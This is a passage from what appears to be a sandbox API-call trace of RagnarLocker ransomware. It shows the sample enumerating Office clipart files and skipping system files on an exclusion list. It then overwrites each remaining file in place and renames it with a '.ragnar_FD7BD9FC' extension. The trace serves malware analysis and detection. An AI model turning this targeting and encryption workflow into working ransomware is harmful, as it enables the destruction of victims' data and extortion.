Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.073] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29335) returned 1 [0090.073] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x728e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.073] GetProcessHeap () returned 0x580000 [0090.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.073] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.075] VirtualAlloc (lpAddress=0x0, dwSize=0x7297, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.075] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.075] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.075] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7297, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7297, lpOverlapped=0x0) returned 1 [0090.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.077] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7297, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.077] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7297, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7297, lpOverlapped=0x0) returned 1 [0090.077] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7297, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.077] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7297, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.078] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.078] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.078] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.078] GetProcessHeap () returned 0x580000 [0090.078] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.078] CloseHandle (hObject=0xf4) returned 1 [0090.078] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" [0090.078] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.ragnar_FD7BD9FC" [0090.078] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.079] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0090.079] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.079] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02071U.BMP" | out: lpString1="PH02071U.BMP") returned="PH02071U.BMP" [0090.079] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP") returned=".BMP" [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="autorun.inf") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="boot.ini") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="bootfont.bin") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="bootsect.bak") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="bootmgr") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="bootmgr.efi") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="desktop.ini") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="iconcache.db") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="ntldr") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="ntuser.dat") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="ntuser.ini") returned 1 [0090.079] lstrcmpiW (lpString1="PH02071U.BMP", lpString2="thumbs.db") returned -1 [0090.079] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.079] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.079] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.079] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.079] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.079] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.079] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp")) returned 0x20 [0090.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.080] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0090.080] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.080] GetProcessHeap () returned 0x580000 [0090.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.080] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.081] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.082] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0090.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.083] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.083] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0090.083] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.083] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.084] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.084] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.084] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.084] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.084] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.084] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.084] GetProcessHeap () returned 0x580000 [0090.084] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.084] CloseHandle (hObject=0xf4) returned 1 [0090.084] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" [0090.084] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.ragnar_FD7BD9FC" [0090.084] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02071U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02071u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.085] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0090.085] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.085] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02074U.BMP" | out: lpString1="PH02074U.BMP") returned="PH02074U.BMP" [0090.085] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP") returned=".BMP" [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="autorun.inf") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="boot.ini") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="bootfont.bin") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="bootsect.bak") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="bootmgr") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="bootmgr.efi") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="desktop.ini") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="iconcache.db") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="ntldr") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="ntuser.dat") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="ntuser.ini") returned 1 [0090.085] lstrcmpiW (lpString1="PH02074U.BMP", lpString2="thumbs.db") returned -1 [0090.085] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.085] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.085] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.085] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.085] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.085] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.085] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp")) returned 0x20 [0090.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.087] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.087] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.087] GetProcessHeap () returned 0x580000 [0090.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.087] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.088] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.088] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.088] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.088] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.090] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.090] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.090] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.090] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.090] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.090] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.091] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.091] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.091] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.091] GetProcessHeap () returned 0x580000 [0090.091] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.091] CloseHandle (hObject=0xf4) returned 1 [0090.091] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" [0090.091] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.ragnar_FD7BD9FC" [0090.091] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.092] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0090.092] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.092] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02208U.BMP" | out: lpString1="PH02208U.BMP") returned="PH02208U.BMP" [0090.092] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP") returned=".BMP" [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="autorun.inf") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="boot.ini") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="bootfont.bin") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="bootsect.bak") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="bootmgr") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="bootmgr.efi") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="desktop.ini") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="iconcache.db") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="ntldr") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="ntuser.dat") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="ntuser.ini") returned 1 [0090.092] lstrcmpiW (lpString1="PH02208U.BMP", lpString2="thumbs.db") returned -1 [0090.092] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.092] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.092] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.092] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.092] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.092] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.092] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp")) returned 0x20 [0090.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.093] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.093] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.093] GetProcessHeap () returned 0x580000 [0090.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.094] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, 